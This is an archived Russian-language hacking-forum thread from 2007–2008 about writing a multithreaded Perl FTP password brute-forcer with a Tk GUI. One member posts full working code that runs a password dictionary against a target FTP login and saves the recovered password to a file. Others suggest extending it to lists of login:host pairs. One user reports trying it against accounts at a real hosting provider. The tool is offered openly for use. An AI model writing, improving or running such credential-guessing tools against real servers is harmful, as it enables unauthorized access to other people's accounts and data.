ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

13.12.2007, 01:15
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме: 1948091
Репутация:
1686
|
|
насчет брутера - сделай чтобы не под 1 логин был
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило
в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю
PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)
Последний раз редактировалось genom--; 13.12.2007 в 01:21..
|
|
|

13.12.2007, 01:16
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
В скрипте были ошибки + несовсем корректно работал
Всё исправил, пользуйтесь =)
Геном, про несколько логинов я думал, возможно потом реализую
|
|
|

13.12.2007, 01:46
|
|
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме: 438137
Репутация:
66
|
|
Ужасное форматирование языка с ужасным синтаксисом.
|
|
|
Multithread FTP Bruter Tk/GUI |

13.12.2007, 01:47
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Multithread FTP Bruter Tk/GUI
Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код
Код:
#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);
$main=MainWindow->new(-title => 'FTP bruter by Spyder');
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
-textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute',
-width=> '80',
-height=> '1',
-font => 'courier',
-command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
-command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right');
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
$fo = $main->getOpenFile();
}
MainLoop;
sub Brute
{
$thr = int($thrd->get);
$file = $dicfile->get;
$fsave = $save->get;
open (SRC, "<$file") or die "Can't open:$!";
Next:
@pass = pass();
my @trl;
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $_);
}
for(0..$thr)
{
$trl[$_]->join
}
sub Brut
{
while (@pass) {
$pass = shift @pass;
$fsave = $save->get;
$ip = $addr->get;
$log_in = $login->get;
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($log_in,$pass) or exit "$!";
if ($ok)
{
open (SAVE, ">>$fsave") or exit "Can't save:$!";
print SAVE "Password for $ip is $pass\n";
close (SAVE);
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
open (SAVE, ">>$fsave") or die "Can't save:$!";
print SAVE "Password not found\n";
close (SAVE);
exit;
} else {
return @mas;
}
}
}
Не знаю то ли это чего вы ждали, но оно всё же работает =))
Последний раз редактировалось Spyder; 13.12.2007 в 02:07..
|
|
|

13.12.2007, 02:19
|
|
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме: 1985206
Репутация:
963
|
|
Сообщение от genom--
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась)
Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна.
Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк:
Код:
#!perl
use strict;
use warnings;
use Tk;
use threads;
my($MW);
threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;
sub StartGUI
{
my($title, $geometry, $resizable) = @_;
$MW = MainWindow -> new(-title => $title);
$MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
$MW -> resizable($resizable -> [0], $resizable -> [1]);
MainLoop;
}
Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.
|
|
|

13.12.2007, 03:19
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме: 4319431
Репутация:
677
|
|
как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть:
Код:
sub brut
{
while (@ftps)
{
$ftp = shift @ftps;
($login, $host) = split (/:/, $ftp);
foreach (@passwords)
{
$_ обходим все пассы в масиве
}
}
}
Последний раз редактировалось C!klodoL; 13.12.2007 в 04:13..
|
|
|

13.12.2007, 06:04
|
|
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
Провел на форуме: 2454040
Репутация:
177
|
|
проверял для хостинго jino.ru
ftp:// -- login.jino.ru
login -- login
где логин это учетка на хостинге
прога при запуске подумала немного и вырубилась
|
|
|

13.12.2007, 11:04
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
проверял на нарроде + обычные фтп
всё работает
Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь
C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать
|
|
|

13.06.2008, 23:21
|
|
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме: 3818187
Репутация:
369
|
|
вот бы было бы не плохо еси мона было б подгружать список логинов
я не большой ценитель гиу я маньяк ретро консоли
по этому думаю что лучше бы старую версию доработать
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|